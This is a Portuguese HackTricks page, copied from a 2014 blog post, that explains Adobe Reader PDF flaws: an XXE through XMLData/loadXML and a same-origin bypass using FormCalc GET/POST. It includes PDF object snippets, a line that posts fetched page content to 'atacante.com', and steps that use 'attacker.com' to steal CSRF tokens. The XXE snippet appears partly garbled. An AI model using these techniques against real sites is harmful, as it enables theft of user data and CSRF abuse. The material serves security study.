# Upload de PDF - Bypass de XXE e CORS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
#### Conteúdo copiado de [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html) ### A função Javascript no Reader pode ser usada para ler dados de entidades externas (CVE-2014-8452) Status: Corrigido\ Realidade: Não corrigido\ \ Este é sobre um simples XXE que descobri.\ Li o artigo "Polyglots: Crossing Origins by Crossing Formats", onde discutiram uma vulnerabilidade em\ XMLData.parse. Era possível usar entidades externas e referenciá-las.\ Li a especificação e descobri que existem mais funções do que "parse" para ler XML.\ Criei um arquivo xml simples, que referencia uma url do mesmo domínio e o analisei com loadXML.\ Funcionou: ![](https://4.bp.blogspot.com/-is4Q5hSZk-Y/VIwdzdAckWI/AAAAAAAAACI/OAzBs9Q-T50/s1600/xxe.png) ``` 7 0 obj << /Type /Action /S /JavaScript /JS ( var cXMLDoc = 'muh' var cXMLDoc2 = ']>&aaaa;' xml = XMLData.parse(cXMLDoc,false); xml.loadXML(cXMLDoc2,false,true); ) >> endobj ``` O impacto é limitado porque\ o) é limitado à mesma origem\ o) as páginas HTML quebram o xml\ o) Entidades dinâmicas não são suportadas\ o) Eu tive a ideia de usar um xml utf-16 para evitar quebrar a estrutura xml, mas não funcionou.\ \ Mas ainda pode ser usado para ler JSON. ### Bypass da política de mesma origem no Reader (CVE-2014-8453) Status: corrigido\ Realidade: corrigido, mas a mesma origem ainda é vulnerável!\ \ Na minha opinião, esta é a vulnerabilidade mais poderosa. Mesmo sem o Bypass de Origem, ela mostra\ o quão poderoso/assustador o PDF pode ser.\ Muitas pessoas sabem que o PDF suporta uma linguagem de script chamada Javascript, mas há outra.\ É mencionado na especificação para XFA, um tipo de arquivo também suportado pelo leitor da Adobe.\ Chama-se formcalc e não é tão poderoso. É usado para cálculos matemáticos simples. Mas na especificação da Adobe\ há três funções adicionais: 'GET', 'POST' e 'PUT'. Sim, seus nomes falam por si mesmos.\ 'GET' tem um parâmetro: uma url. Ele usará o navegador (SIM, COOKIES) para recuperar a url e retornar o conteúdo dela.\ Podemos então usar 'POST' para enviar o conteúdo retornado para nosso próprio servidor:\ \ var content = GET("meusamigos.php");\ Post("http://atacante.com",content);\ \ Essas funções são da mesma origem, então um site precisa nos permitir fazer upload de um PDF. Isso não é tão irrealista para\ a maioria dos sites. Atacante.com não é da mesma origem, então você precisa configurar um crossdomain.xml, como de costume com produtos da Adobe.\ \ Para resumir: Isso não é um bug, é um recurso. Assim que você é permitido fazer upload de um PDF em um site,\ você pode acessar o site no contexto do usuário que está visualizando o PDF. Como as solicitações são emitidas\ pelo navegador, os cookies também são enviados. Você também pode usá-lo para quebrar qualquer proteção CSRF lendo os tokens. ``` % a PDF file using an XFA % most whitespace can be removed (truncated to 570 bytes or so...) % Ange Albertini BSD Licence 2012 % modified by insertscript %PDF-1. % can be truncated to %PDF-\0 1 0 obj <<>> stream 1 endstream endobj trailer << /Root << /AcroForm << /Fields [<< /T (0) /Kids [<< /Subtype /Widget /Rect [] /T () /FT /Btn >>] >>] /XFA 1 0 R >> /Pages <<>> >> >> ``` Depois de encontrar essas funções, encontrei uma forma de burlar a política de mesma origem. Isso torna possível usar o navegador da vítima como um proxy (@beef ainda está trabalhando no módulo^^). A forma de burlar é realmente simples: 1. O usuário A carrega o evil.pdf de http://attacker.com/evil.pdf 2. O evil.pdf usa o formcalc GET para ler http://attacker.com/redirect.php 3. redirect.php redireciona com 301 para http://facebook.com 4. O Adobe reader seguirá e lerá a resposta sem procurar um crossdomain.xml. 5. O evil.pdf envia o conteúdo recuperado via POST para http://attacker.com/log.php Observe que, usando essa técnica, você pode roubar os tokens CRSF de uma página e abusar das vulnerabilidades CSRF. Essa simples forma de burlar foi corrigida agora. Espero que eles implementem um aviso de diálogo para solicitações de mesma origem também.